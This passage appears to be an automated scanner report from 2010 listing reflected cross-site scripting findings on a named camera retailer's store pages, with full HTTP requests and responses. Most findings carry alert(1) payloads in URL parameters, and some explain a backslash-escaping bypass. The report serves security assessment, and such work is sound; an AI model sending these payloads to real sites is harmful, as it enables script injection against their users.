Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay?storeId=10001&catalogId=10001&langId=-1&orderId=.bf954\"%3balert(1)//55defb547b0 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:50 GMT
Content-Length: 1059
ETag: "pv986a2556fbc8536842013d1e387fafc3"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.UFF008E3A].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_ORDER_ABBREV: \".bf954\\";alert(1)//55defb547b0\" is not a valid Order abbreviation." + " " + location.pathname);</script>
...[SNIP]...

1.8. http://www.ritzcamera.com/webapp/wcs/stores/servlet/OrderItemDisplay [storeId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/OrderItemDisplay

Issue detail

The value of the storeId request parameter is copied into the HTML document as plain text between tags. The payload ba11e<img%20src%3da%20onerror%3dalert(1)>0a91ab11a54 was submitted in the storeId parameter. This input was echoed as ba11e<img src=a onerror=alert(1)>0a91ab11a54 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/OrderItemDisplay?storeId=10001ba11e<img%20src%3da%20onerror%3dalert(1)>0a91ab11a54&catalogId=10001&langId=-1&orderId=. HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:44:48 GMT
Content-Length: 8119
ETag: "pv8988e8828c22cb562e53ce5928b13948"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U4ABF4B85].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "10001ba11e<img src=a onerror=alert(1)>0a91ab11a54"".</TD>
...[SNIP]...

1.9. http://www.ritzcamera.com/webapp/wcs/stores/servlet/ProductImagesView [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/ProductImagesView

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffe5c\"%3balert(1)//e85fc388043 was submitted in the REST URL parameter 5. This input was echoed as ffe5c\\";alert(1)//e85fc388043 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/ProductImagesViewffe5c\"%3balert(1)//e85fc388043 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:44 GMT
Content-Length: 1065
ETag: "pvec5a4758036ab826151089ac4ec6bc4b"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.UDB11C962].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_CMD_CMD_NOT_FOUND: Command not found: \"ProductImagesViewffe5c\\";alert(1)//e85fc388043\"." + " " + location.pathname);</script>
...[SNIP]...

1.10. http://www.ritzcamera.com/webapp/wcs/stores/servlet/ProductImagesView [productId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/ProductImagesView

Issue detail

The value of the productId request parameter is copied into the HTML document as plain text between tags. The payload a07a2<img%20src%3da%20onerror%3dalert(1)>eb46455bc94 was submitted in the productId parameter. This input was echoed as a07a2<img src=a onerror=alert(1)>eb46455bc94 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductImagesView?storeId=10001&catalogId=10001&langId=-1&productId=14613646a07a2<img%20src%3da%20onerror%3dalert(1)>eb46455bc94 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:44:49 GMT
Content-Length: 8219
ETag: "pv094ce88e4a724fca407a8f35bc83b7ed"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U816EE8C6].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "14613646a07a2<img src=a onerror=alert(1)>eb46455bc94"".</TD>
...[SNIP]...

1.11. http://www.ritzcamera.com/webapp/wcs/stores/servlet/ProductImagesView [storeId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/ProductImagesView

Issue detail

The value of the storeId request parameter is copied into the HTML document as plain text between tags. The payload 6ef82<img%20src%3da%20onerror%3dalert(1)>dfdaf563d87 was submitted in the storeId parameter. This input was echoed as 6ef82<img src=a onerror=alert(1)>dfdaf563d87 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/ProductImagesView?storeId=100016ef82<img%20src%3da%20onerror%3dalert(1)>dfdaf563d87&catalogId=10001&langId=-1&productId=14613646 HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:44:39 GMT
Content-Length: 8120
ETag: "pv42d9b3530ff7cab7c746bc66d351ff0c"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.U3F1EBB1F].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "100016ef82<img src=a onerror=alert(1)>dfdaf563d87"".</TD>
...[SNIP]...

1.12. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SearchView [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/SearchView

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6b49\"%3balert(1)//df2ca64404e was submitted in the REST URL parameter 5. This input was echoed as f6b49\\";alert(1)//df2ca64404e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/SearchViewf6b49\"%3balert(1)//df2ca64404e?storeId=10001&catalogId=10001&langId=-1&autocomplete=true HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
X-Ritz-Cache-Control: DO-NOT-CACHE
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html; charset=ISO_8859-1
Date: Sun, 26 Dec 2010 04:44:49 GMT
Content-Length: 1058
ETag: "pvb16094ab55bb2cc5099fd316b3dac619"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.UD7FA4952].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>RitzCamera.com</title>
<script src="/ga.js" type="text/javascript"></script>
<script
...[SNIP]...
<script type="text/javascript">trackEvent("Generic Error", "Unknown", "_ERR_CMD_CMD_NOT_FOUND: Command not found: \"SearchViewf6b49\\";alert(1)//df2ca64404e\"." + " " + location.pathname);</script>
...[SNIP]...

1.13. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SearchView [storeId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/SearchView

Issue detail

The value of the storeId request parameter is copied into the HTML document as plain text between tags. The payload b8880<img%20src%3da%20onerror%3dalert(1)>c5fada0473 was submitted in the storeId parameter. This input was echoed as b8880<img src=a onerror=alert(1)>c5fada0473 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /webapp/wcs/stores/servlet/SearchView?storeId=10001b8880<img%20src%3da%20onerror%3dalert(1)>c5fada0473&catalogId=10001&langId=-1&autocomplete=true HTTP/1.1
Host: www.ritzcamera.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; WC_SESSION_ESTABLISHED=true; sourcecode=B2PR11; source=B2PR11; IS3_History=1292880176-1-22_27-1-__27_; IS3_GSV=DPL-2_TES-1293336527_PCT-1293336527_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; WC_ACTIVEPOINTER=%2d1%2c10001; __utmb=139061164.1.10.1293336523; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d;

Response

HTTP/1.1 200 OK
Connection: close
Server: IBM_HTTP_Server
P3P: CP="IDC DSP DEVa TAIa OUR BUS UNI STA",policyref="/w3c/p3p.xml"
Opt: http://www.w3.org/2000/P3Pv1
Content-Language: en-US
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:44:40 GMT
Content-Length: 8111
ETag: "pv1b8d0b695e13168653185d0dd9ea7a95"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-PvInfo: [S10203.C11265.A40383.RA0.G0.UAD7D2B5D].[OT/html.OG/pages]
Vary: Accept-Encoding
Accept-Ranges: none

<!--
//********************************************************************
//*-------------------------------------------------------------------
//* Licensed Materials - Property of IBM
//*
/
...[SNIP]...
<TD>The following command exception has occurred during processing: "java.lang.NumberFormatException: For input string: "10001b8880<img src=a onerror=alert(1)>c5fada0473"".</TD>
...[SNIP]...

1.14. http://www.ritzcamera.com/webapp/wcs/stores/servlet/SiteLogicView [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ritzcamera.com
Path:   /webapp/wcs/stores/servlet/SiteLogicView

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1dac3\"%3balert(1)//eb528791591 was submitted in the REST URL parameter 5. This input was echoed as 1dac3\\";alert(1)//eb528791591 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /webapp/wcs/stores/servlet/SiteLogicView1dac3\"%3balert(1)//eb528791591?storeId=10001&catalogId=10001&langId=-1&action=getCartCount HTTP/1.1
Host: www.ritzcamera.com
Proxy-Connection: keep-alive
Referer: http://www.ritzcamera.com/product/EP92657417.htm?utm_medium=cpc&utm_source=Become
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000DoIJgWX0FjK76nXDXZWGfov:13iapteqv; WC_SESSION_ESTABLISHED=true; WC_ACTIVEPOINTER=%2d1%2c10001; WC_USERACTIVITY_-1002=%2d1002%2c10001%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cDRHtg2wACM0Adzo4BKwmBq%2fn%2bcdAcvktYI8%2b%2bO2E0MHmqfL%2bhE8duOLJTTXjFHPBpD15djfe1UQc%0aeIt5%2bj4ziXgGHN9NvhgAZDx6R%2b8wHZC6ONufrxkLLOAX3yXZxwUv4dMyANFoQ5g%3d; WC_GENERIC_ACTIVITYDATA=[591010345%3atrue%3afalse%3a0%3awsaregpwFC15FUBsruVRJ9wAWJA%3d][com.ibm.commerce.context.base.BaseContext|10001%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|10001%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|10001%2610001%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; sourcecode=B2PR11; source=B2PR11; __utmz=139061164.1293336523.1.1.utmcsr=Become|utmccn=(not%20set)|utmcmd=cpc; __utma=139061164.3307532131750810000.1293336523.1293336523.1293336523.1; __utmc=139061164; __utmb=139061164.1.10.1293336523; IS3_History=0-0-0____; 